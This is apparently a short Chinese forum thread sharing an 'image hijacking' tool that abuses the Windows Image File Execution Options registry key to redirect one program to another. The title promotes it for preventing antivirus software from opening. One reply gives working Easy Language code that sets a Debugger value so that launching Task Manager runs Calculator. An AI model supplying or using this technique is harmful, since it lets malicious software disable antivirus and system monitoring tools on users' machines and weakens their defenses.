映像劫持，劫持指定的EXE文件到另一EXE文件，可以劫持杀毒软件导致不能打开之类

只为遇见你 · 发表于 2013-2-5 08:25:20

下载看看怎么样

网络注册会员 · 发表于 2013-2-2 14:11:11

支持一下楼主的好作品

dlweixiu · 发表于 2013-2-2 10:37:01

不必要用模块吧，挺简单的东西，只是修改下注册表而已

代码如下：

.版本 2
.支持库 shell

.子程序添加映像劫持
.局部变量劫持项名
.局部变量劫持程序名

劫持项名＝ “taskmgr.exe”
劫持程序名＝ “calc.exe”

写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\” ＋劫持项名＋ “\Debugger”, 劫持程序名)

这要就行了，当你打开任务管理器时，就会运行计算器。。。。